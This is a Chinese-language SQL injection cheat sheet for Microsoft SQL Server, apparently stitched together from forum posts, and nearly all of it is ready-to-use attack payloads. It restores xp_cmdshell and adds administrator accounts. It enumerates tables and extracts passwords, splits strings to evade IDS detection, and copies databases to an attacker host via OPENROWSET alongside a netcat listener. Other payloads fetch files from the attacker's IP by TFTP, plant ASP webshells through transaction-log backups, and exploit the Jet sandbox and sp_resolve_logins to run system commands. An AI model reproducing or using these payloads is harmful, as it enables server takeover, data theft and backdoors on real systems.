sql注入語句大全


sql注入語句大全
--是否存在xp_cmdshell 
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') 

--用xp_cmdshell執行命令 
;exec master..xp_cmdshell "net user name password /add"-- 
;exec master..xp_cmdshell "net localgroup name administrators /add"-- 

--查看權限 
and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa 
and (select IS_MEMBER('db_owner'))=1--   //  dbo 
and (select IS_MEMBER('public'))=1--  //public 

--創建個登陸mssql的帳號 
;exec master.dbo.sp_addlogin name,pass;-- 

--把創建的mssql登陸帳號提升到sysadmin 
;exec master.dbo.sp_addsrvrolemember name,sysadmin;--
有用的擴展 

--獲得MS SQL的版本號  //mssql版本 
execute master..sp_msgetversion   // dbo public 

--得到硬盤文件信息             //dbo public 
--參數說明:目錄名,目錄深度,是否顯示文件 //讀取磁盤目錄和文件 
execute master..xp_dirtree 'c:' //列出所有c:\文件和目錄,子目錄 
execute master..xp_dirtree 'c:',1 //只列c:\文件夾 
execute master..xp_dirtree 'c:',1,1 //列c:\文件夾加文件 

--列出服務器上所有windows本地組 
execute master..xp_enumgroups //dbo 

--得到當前sql server服務器的計算機名稱 //獲得計算機名   
execute master..xp_getnetname   //dbo public 

--列出指定目錄的所有下一級子目錄 
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目錄 

--列出服務器上固定驅動器,以及每個驅動器的可用空間 
execute master..xp_fixeddrives   //dbo public 

--顯示系統上可用的盤符 
execute master..xp_availablemedia   //dbo 

--獲取某文件的相關屬性 
execute master..xp_getfiledetails 'C:1.txt'  //dbo public 

--統計數據庫里每個表的詳細情況 
exec sp_MSforeachtable 'sp_spaceused ''?''' //查詢表 //dbo public 

--獲得每個表的記錄數和容量 
exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? '  //dbo pubilc 

--更新Table1/Table2中note列為NULL的值 
sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND o.name in (''Table1'',''Table2'') 

--列出服務器域名 
xp_ntsec_enumdomains //機器名 //dbo public 

--停止或者啟動某個服務 
xp_servicecontrol 'stop','schedule' //schedule是服務得名稱  //dbo 

--用pid來停止某個執行中的程序 
xp_terminate_process 123 //123是pid //dbo 

--只列某個目錄下的子目錄 
dbo.xp_subdirs 'C:' //dbo 

--服務器安全模式信息 
xp_loginconfig  //dbo 


xp_regaddmultistring 
xp_regdeletekey 
xp_regdeletevalue 
xp_regenumkeys 
xp_regenumvalues 
xp_regread 
xp_regremovemultistring 
xp_regwrite 

--將新擴展存儲過程的名稱注冊到 Microsoft? SQL Server? 上。 
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' //恢復xp_cmdshell 

恢復過程sp_addextendedproc 如下: 
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ 
@dllname varchar(255)/* name of DLL containing function */ 
as 
set implicit_transactions off 
if @@trancount > 0 
begin 
raiserror(15002,-1,-1,'sp_addextendedproc') 
return (1) 
end 
dbcc addextendedproc( @functname, @dllname) 
return (0) -- sp_addextendedproc 

創建新的 Microsoft? SQL Server? 登錄//只有 sysadmin 和 securityadmin 固定服務器角色的成員才可以執行 sp_addlogin。 





補丁版本 
   其中的8.00.760就是SQL Server的版本和補丁號。對應關系如下: 


    8.00.194 -——————SQL Server 2000 RTM 
    8.00.384 -——————(SP1) 
    8.00.534 -——————(SP2) 
    8.00.760 -——————(SP3)
在db權限並且分離獲取mssql數據庫服務器ip的方法 

1.本地nc監聽  nc -vvlp 80 

2.;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;-- 

其他的都不用管
xp_cmdshell的刪除及恢復 


恢復xp_cmdshell的方法   
刪除擴展存儲過過程xp_cmdshell的語句   
exec sp_dropextendedproc ’xp_cmdshell’   

恢復cmdshell的sql語句   
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’   

exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and   
返回結果為1就ok   

否則需上傳c:\inetput\web\xplog70.dll后   
exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;--   

如果是用以下方法刪除   
drop procedure sp_addextendedproc   
drop procedure sp_oacreate   
exec sp_dropextendedproc ’xp_cmdshell’   

則可以用以下語句恢復   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")   
這樣可以直接恢復,不用去管sp_addextendedproc是不是存在
去掉tenlnet的ntlm認證 

;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
public權限列目錄 

提起public權限的用戶估計很多人也覺得郁悶了吧~N久以前看了一篇《論在mssql中public和db_owner權限下拿到webshell或是系統權限》的文章(名字真長-_-!!!),里面說到沒辦法利用xp_regread,xp_dirtree…這些存儲過程,原因是public沒有辦法建表,我在這里矯正一下其實public是可以建表的~呵呵,使這些存儲過程能利用上,看下面的代碼吧 

--建立一個臨時表,一般的表我們是無辦法建立的,我們只能建立臨時表 

create table ##nonamed( 

      dir ntext, 

      num int 

) 

--調用存儲過程把執行回來的數據存到臨時表里面 

insert ##nonamed execute master..xp_dirtree 'c:\',1 

--然后采用openrowset函數把臨時表的數據導到本地MSSQL 的dirtree表里面了 

insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree') 

select * from ##nonamed 

以上方法,也就是說public可以遍歷用戶服務器的目錄
MSSQL自身存儲過程的一個注入 

master..sp_resolve_logins存儲過程中,對@dest_path參數過濾不嚴,導致xp_cmdshell注入。 

分析: 
SELECT @dest_path = RTRIM(LTRIM(@dest_path)) 

-- If the last char is '\', remove it. 
IF substring(@dest_path, len(@dest_path),1) = '\' 
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1) 

-- Don't do validation if it is a UNC path due to security problem. 
-- If the server is started as a service using local system account, we 
-- don't have access to the UNC path. 
IF substring(@dest_path, 1,2) <> '\\' 
BEGIN 
SELECT @command = 'dir "' + @dest_path + '"' 
exec @retcode = master..xp_cmdshell @command, 'no_output' 
IF @@error <> 0 
RETURN (1) 
IF @retcode <> 0 
BEGIN 
raiserror (14430, 16, -1, @dest_path) 
RETURN (1) 
END 
END 

master..sp_resolve_logins存儲過程 在這一段,經過一定的判斷,對 @dest_path 進行了一定的過濾。 
但是沒有過濾"(雙引號)導致了 xp_cmdshell執行任意SQL語句 

測試代碼: 
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp' 
執行上述MSSQL語句,成功添加了一個名為admina的系統帳號 

但是此存儲過程代碼中經過判斷,需要系統systemadmin權限的帳號
Re:沙盒
通常一台MSSQL服務器同時支持Access數據庫,所以只要有一個sa或者dbowner的連接(至少對master庫具有db_owner權限,默認情況下是沒有的),就滿足了修改注冊表的條件,因為MSSQL有一個名為xp_regwrite的擴展,它的作用是修改注冊表的值.語法如下 
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value 
如果存在一個sa或者dbowner的連接的SQL注入點,就可以構造出如下注入語句InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--那我們將SandBoxMode開關的注冊表值修改為0就成功了.接着連接到一個Access數 據庫中,就可以執行系統命令,當然執行系統命令我們只需要一個Access數據庫相關Select的注入點或者直接用ASP文件Select調用這個 VBA的shell()函數,但是實際上MSSQL有一個的OpenRowSet函數,它的作用是打開一個特殊的數據庫或者連接到另一個數據庫之中.當我 們有一個SA權限連接的時候,就可以做到打開Jet引擎連接到一個Access數據庫,同時我們搜索系統文件會發現windows系統目錄下本身就存在兩 個Access數據庫,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\ dnary.mdb,這樣一來我們又可以利用OpenRowSet函數構造出如下注入語句:InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user ray 123 /ad")');-- 
如果你覺得不大好懂的話,我可以給你做一個簡化的理解:1,Access可以調用VBS的函數,以System權限執行任意命令2,Access執行這個命令是有條件的,需要一個開關被打開3,這個開關在注冊表里4,SA是有權限寫注冊表的5,用SA寫注冊表的權限打開那個開關6,調用Access里的執行命令方法,以system權限執行任意命令執行SQL命令,執行了以下命令:EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user zyqq 123 /add")');Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 
'group by users.id having 1=1-- 
'group by users.id, users.username, users.password, users.privs having 1=1-- 
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- 

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')- 
UNION SELECT TOP 1 login_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'-- 

看服務器打的補丁=出錯了打了SP4補丁 
and 1=(select @@VERSION)-- 

看數據庫連接賬號的權限,返回正常,證明是服務器角色sysadmin權限。 
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))-- 

判斷連接數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA) 
and 'sa'=(SELECT System_user)-- 
and user_name()='dbo'-- 
and 0<>(select user_name()-- 

看xp_cmdshell是否刪除 
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')-- 

xp_cmdshell被刪除,恢復,支持絕對路徑的恢復 
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'-- 
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'-- 

反向PING自己實驗 
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 

加帳號 
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'-- 

創建一個虛擬目錄E盤: 
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"'-- 

訪問屬性:(配合寫入一個webshell) 
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse' 

爆庫 特殊技巧::%5c='\' 或者把/和\ 修改%5提交 
and 0<>(select top 1 paths from newtable)-- 

得到庫名(從1到5都是系統的id,6以上才可以判斷) 
and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9.... 得到更多的數據庫名 

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' 
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
('id',...)) 來暴出其他的字段 
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名 
依次可以得到密碼。。。。。假設存在user_id username ,password 等字段 

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值 
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 

得到WEB路徑 
;create table [dbo].[swap] ([swappass][char](255));-- 
and (select top 1 swappass from swap)=1-- 
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)-- 
;use ku1;-- 
;create table cmd (str image);-- 建立image類型的表cmd 

存在xp_cmdshell的測試過程: 
;exec master..xp_cmdshell 'dir' 
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號 
;exec master.dbo.sp_password null,jiaoniang$,1866574;-- 
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';-- 
exec master..xp_servicecontrol 'start', 'schedule' 啟動服務 
exec master..xp_servicecontrol 'start', 'server' 
; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add' 
;DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add' 
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上傳文件 

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' 
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' 
如果被限制則可以。 
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax') 

查詢構造: 
SELECT * FROM news WHERE id=... AND topic=... AND ..... 
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' 
select 123;-- 
;use master;-- 
:a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。 
and 1<>(select count(email) from [user]);-- 
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';-- 
';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- 
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- 
上面的語句是得到數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。 
通過查看ffff的用戶資料可得第一個用表叫ad 
然后根據表名ad得到這個表的ID 得到第二個表的名字 

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 
insert into users values( 667,123,123,0xffff)-- 
insert into users values ( 123, 'admin''--', 'password', 0xffff)-- 
;and user>0 
;and (select count(*) from sysobjects)>0 
;and (select count(*) from mysysobjects)>0 //為access數據庫 

枚舉出數據表名 
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);-- 
這是將第一個表名更新到aaa的字段處。 
讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。 
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 
然后id=1552 and exists(select * from aaa where aaa>5) 
讀出第二個表,一個個的讀出,直到沒有為止。 
讀字段是這樣: 
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 
然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名 
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 
然后id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名 

[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名] 
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…) 
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組] 

[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名] 
update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件] 

繞過IDS的檢測[使用變量] 
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' 
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\' 

1、 開啟遠程數據庫 
基本語法 
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' ) 
參數: (1) OLEDB Provider name 
2、 其中連接字符串參數可以是任何端口用來連接,比如 
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table' 
3.復制目標主機的整個數據庫insert所有遠程表到本地表。 
基本語法: 
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2 
這行語句將目標主機上table2表中的所有數據復制到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口,指向需要的地方,比如: 
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2 
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases') 
sele
Re:log備份的總結
當SQL注入是得到DB權限時候,接下來可以做的工作很多,象找管理員密碼,后台管理這些都可以幫助你拿到WEBSHELL,但是這篇文章講的是log備份,LOG備份出來的小馬的體積小,而且備份的成功的可性很大,所以是我作為對DB權限的第一種試探方法. 
但是在LOG備份中,我們經常會遇到一些很讓我們頭痛的問題,那就是閉合的問題,我在這里做個總結,也 
好讓我們對不能閉合的方法有一個全面的了解. 
1.先介紹下LOG備份,這個相信大家都很熟悉了,我還是習慣在IE里直接提交,返回正常的頁面就說這一步的操作就成功了,如果沒有返回正常的頁面,我們就可以根據IE返回的錯誤來找他的原因.(這里說下要將IE的錯誤提示給打開),LOG的格式如下所示: 
http://www.site.com/xx.asp?id=xxx;alter database databasename set RECOVERY FULL 
http://www.site.com/xx.asp?id=xxx;create table cmd (a image)-- 
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'c:\cmd' with init 
http://www.site.com/xx.asp?id=xxx;insert into cmd (a) values ('<%%25Execute(request("go"))% 

%25>')-- 
http://www.site.com/xx.asp?id=xxx;backup log databasename to disk = 'x:\xxx\xxx\asp1.asp'-- 
http://www.site.com/xx.asp?id=xxx;drop table cmd-- 

分為6步操作,最容易出錯的就是第4步的操作,經常返回沒有閉合的問題,下面就是一些我們可以將 
values中的內容可以進行更換的方式,當我們的一種方式不行的話,就可以換另一種方式,當所有的方式 
都換完了,沒有什么好說的,要么就放棄,要么就換另一種方式繼續,想列目錄找數據庫下載,后台.這 
里就不多說了,可以提換的內容有: 
a).<%%25Execute(request("go"))%%25> 
b).<%Execute(request("go"))%> 
c).%><%execute request("go")%><% 
d).<script language=VBScript runat=server>execute request("sb")</Script> 
e).<%25Execute(request("l"))%25> 

2.LOG備份要注意的一些問題: 
a).要注意你現在的機器是不是WEB主機,簡單的方法就是翻他的目錄,看有沒有IIS安裝的文件 
b).當你確定你要找的確實是WEN主機時,就可以找他的站點目錄了,這個也很重要,是步驟5的操作,如果備份到一個錯誤的目錄,當然就沒有辦法訪問了 
c).備份成功后,你就可以試着用客戶端去連接,這個地方也有人弄錯,現在用的字段是go,你的客戶端的 
相關字段也為go 
d).用ececute正常備份出來的是用錯誤提示的,當你的顯示500錯誤時,請你將的IE錯誤提示打開,當顯示 
Microsoft VBScript 運行時錯誤 錯誤 '800a000d' 

類型不匹配: 'execute' 
時候表示你已經成功了,連接吧!! 
e).還有極端的時候你備份出來的一句話被殺(當你確定你確實是備份在WEB主機的對應目錄是),你可以將 

上面的VALUES字段中的值做幾個大小寫轉換,一般是沒有問題的.. 
------------------------------------------------------------------------ 
今天測試log備份獲取WEBSEHLL遇到點問題,首先說下我自己理解通過log備份和差異備份的區別(不對和不完善的請大家指出與補充)。LOG備份得到的WEBSHELL文件小,大大增加了成功率。避免了數據庫里有特殊字符備份不成功的情況。今天在測試是沒成功,備份出來沒有一句話馬,功能失去了,也就沒有任何意義了。提交上來討論下錯誤之處。 
由於是議題討論。用了真實地址,請勿破壞! 
以下是我的語句: 
引用內容 
;alter database dweb set RECOVERY FULL-- 
;create table cmd (a image)-- 
;backup log dweb to disk = ‘c:\Sammy‘ with init-- 
;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)-- 
;backup log dweb to disk = ‘d:\chen\s2.asp‘-- 

備份結果 
http://www.site.com/s2.asp 
十六進制形式備份出來了! 
我再用如下語句! 引用內容 
;Drop table [cmd]-- 
;alter database dweb set RECOVERY FULL-- 
;create table cmd (a image)-- 
;backup log dweb to disk = ‘c:\Sammy‘ with init-- 
;insert into cmd (a) values (‘<%eval request("s")%>‘)-- 
;backup log dweb to disk = ‘d:\chen\sssjjk.asp‘-- 

如果又如下 
http://www.site.com/sssjjk.asp 

是何原因使LOG備份不成功呢? 


是因為數據表沒有寫到你備份的數據庫當中,導致備份的ASP文件中沒有寫入我們希望的一句話木馬,請在和數據表操作相關的語句中加入數據庫名,如:create table dweb.dbo.[cmd] (a image)--,然后再執行備份語句就可以成功了 

呵呵,你把馬改成"<%%25Execute(request("s"))%%25>" 來試試.. 

注意,是加個.%25 

問題已解決,把語句換成! 
;insert into cmd (a) values (‘<%%25eval request("s")%%25>‘)-- 
確實能成功!謝謝! 

;insert into cmd (a) values (‘0x3C256576616C20726571756573742822732229253E‘)-- 
樓主的這句是寫 字符串 “0x3C256576616C20726571756573742822732229253E”到文件里 而不是木馬 
把單引號去掉就可以了 
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)-- 

………………………………………………………………………………………………………… 
Blog被人滲透了一下,不知道各位掉了什么東西沒有。原來有一次blog的目錄可以列出來,那次我掉了一個小東西,然后今天別人告訴我NBSI 3用了那個東西的方法……呵呵,有點暈,就是下面的,成功率還是很高的,大家可以試試看。嗯,方法流出去無所謂,文章留着吧。 

  dbowner通過注射得到一個shell應該不是什么難事情了,比較麻煩的是就算利用增量備份,仍然有很多不確定的因素,如果之前別人有過什么錯誤的寫入信息,可能備份出來得到的還是一些不能用的500錯誤,如何能夠提高成功率及重用性呢?如果單從調整增量備份的方式來看,盡管能夠達到一些效果,但是方法比較復雜而且效果不明顯。加上關於重用性的考慮,例如多次備份的成功率,backup database的方法並不太適用。這里將要講述的是另外一個備份的方法,導出日志文件到web目錄來獲得shell。 

  飯要一口一口的吃,技術問題也要一個一個的解決,得到webshell首先要知道物理路徑,然后才能說其他的。關於物理路徑的暴露有很多方法,注入也可以得到,這點nbsi2已經做到了,就不再多說。值得注意的是,如果數據庫和web分離,這樣肯定得不到webshell,備份出來的東西可以覆蓋任何文件,一些關於開始菜單的想法還是有效的,只要注意擴展名就好。扯遠了,反正如果數據庫和web在一塊的,你就有機會,反之還是想其他的辦法吧。 

  然后你要得到當前的權限和數據庫名。如果是sysadmin當然沒有必要做很復雜的事情,dbowner足矣,public則不行。當前打開的庫名用一個db_name()就可以得到,同樣很簡單。 

  默認的情況是,一般選擇的數據庫故障還原類型都是簡單,這時候不能夠對日志文件進行備份。然而我們都是dbowner了,還有什么不能做的呢,只要修改一下屬性就可以。由於不能去企業管理器中修改,只有用一段SQL語句,很簡單的,這樣就可以: 

  alter database XXXX set RECOVERY FULL 

  其中XXXX是你得到的數據庫的名字,執行過后就可以備份日志了。這種修改是破壞性的,因為你不知道以前的故障還原模式是什么,細心的管理員看到異樣,可能就要開始起疑心。如果之前你能得到數據庫的狀態,最好還是在備份完以后把這個數據庫的屬性改回來。 

  剩下的事情就是怎樣讓數據庫用最原始的方式記錄下你的數據了。這一點和backup database中設定表名為image的問題相對應,如果你只是建立一個之類的表,日志里面的記錄還是以松散的格式記錄的,也就是< % % >,沒有任何效果。通過實際的測試,發現還是可以通過與backup database類似的方式記錄進去,如下: 

  create table cmd (a image) 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  這樣你已經得到一個webshell了。 

  到這里就完了么?沒有,呵呵,我們繼續。 

到這里有兩個分支方向,第一個,讓注入的時候不出現單引號,太簡單了,我都懶得寫;第二個,減小這個webshell的長度以及提高成功率。下面的方法就是討論第二個分支問題的,同樣適用於backup database的減小。 

  首先是初始化這個日志。 

  backup log XXXX to disk = ’c:\caonima’ with init 

  這樣有點類似於增量備份的第一步,不過有點不同的是,你做了這個以后,你備份出來的可用的shell是固定的。這一點比較重要,因為有了這一步,不管管理員在數據庫里面做了什么擾亂你back database的手腳,或者你之前有多少混蛋(你肯定會這么想的)弄了些你不喜歡的東西,都沒有關系,甚至你做過以后,別人在后面再按照你的方法來一次,還是會成功,這對於偶爾出現的反復,比如對方機器重裝但是數據庫和代碼沒變,有不小的幫助。 

  然后是調整一下backup中各個語句的順序。通過第一點,大概的步驟已經確定下來了,那就是: 
  引用內容 
  
  alter database XXXX set RECOVERY FULL 

  backup log XXXX to disk = ’c:\Sammy’ with init 

  create table cmd (a image) 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 
  
  這樣不好,感覺上多了一條沒用的東西。 

  create table cmd (a image) 

  確實有點討厭,不過這句是必要的,只好調整一下位置,弄到其他地方去。調換一下順序似乎還可以小一點,對於backup database中的增量情況同樣是可以的,backup database甚至可以僅僅在update后馬上備份,不過由於涉及到了數據的存儲格式,情況很復雜,這里不討論。調整后的是: 
  引用內容 
  alter database XXXX set RECOVERY FULL 

  create table cmd (a image) 

  backup log XXXX to disk = ’c:\Sammy’ with init 

  insert into cmd (a) values (’’) 

  backup log XXXX to disk = ’c:\xxx\2.asp’ 

  成功的話,備份出來的shell(上面的2.asp)有78.5k,文件長度固定的是80,384字節。很挑剔的朋友也可以接受了吧,當然用這個來生成一個干凈的木馬也可以——這本來就是頂端cs木馬的s端,很通用的。
顯示所有固定數據庫角色的權限。 

EXEC sp_dbfixedrolepermission
Sql注射總結(早源於'or'1'='1) 
  最重要的表名: 
  select * from sysobjects 
  sysobjects ncsysobjects 
  sysindexes tsysindexes 
  syscolumns 
  systypes 
  sysusers 
  sysdatabases 
  sysxlogins 
  sysprocesses 
  最重要的一些用戶名(默認sql數據庫中存在着的) 
  public 
  dbo 
  guest(一般禁止,或者沒權限) 
  db_sercurityadmin 
  ab_dlladmin 
  一些默認擴展 
  xp_regaddmultistring 
  xp_regdeletekey 
  xp_regdeletevalue 
  xp_regenumkeys 
  xp_regenumvalues 
  xp_regread 
  xp_regremovemultistring 
  xp_regwrite 
  xp_availablemedia 驅動器相關 
  xp_dirtree 目錄 
  xp_enumdsn ODBC連接 
  xp_loginconfig 服務器安全模式信息 
  xp_makecab 創建壓縮卷 
  xp_ntsec_enumdomains domain信息 
  xp_terminate_process 終端進程,給出一個PID 
  例如: 
  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll' 
  exec xp_webserver 
  sp_dropextendedproc 'xp_webserver' 
  bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar 
  ' group by users.id having 1=1- 
  ' group by users.id, users.username, users.password, users.privs having 1=1- 
  '; insert into users values( 666, 'attacker', 'foobar', 0xffff )- 
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'- 
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')- 
  union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')- 
  union select TOP 1 login_name FROM logintable- 
  union select TOP 1 password FROM logintable where login_name='Rahul'-- 
  構造語句:查詢是否存在xp_cmdshell 
  ' union select @@version,1,1,1-- 
  and 1=(select @@VERSION) 
  and 'sa'=(select System_user) 
  ' union select ret,1,1,1 from foo-- 
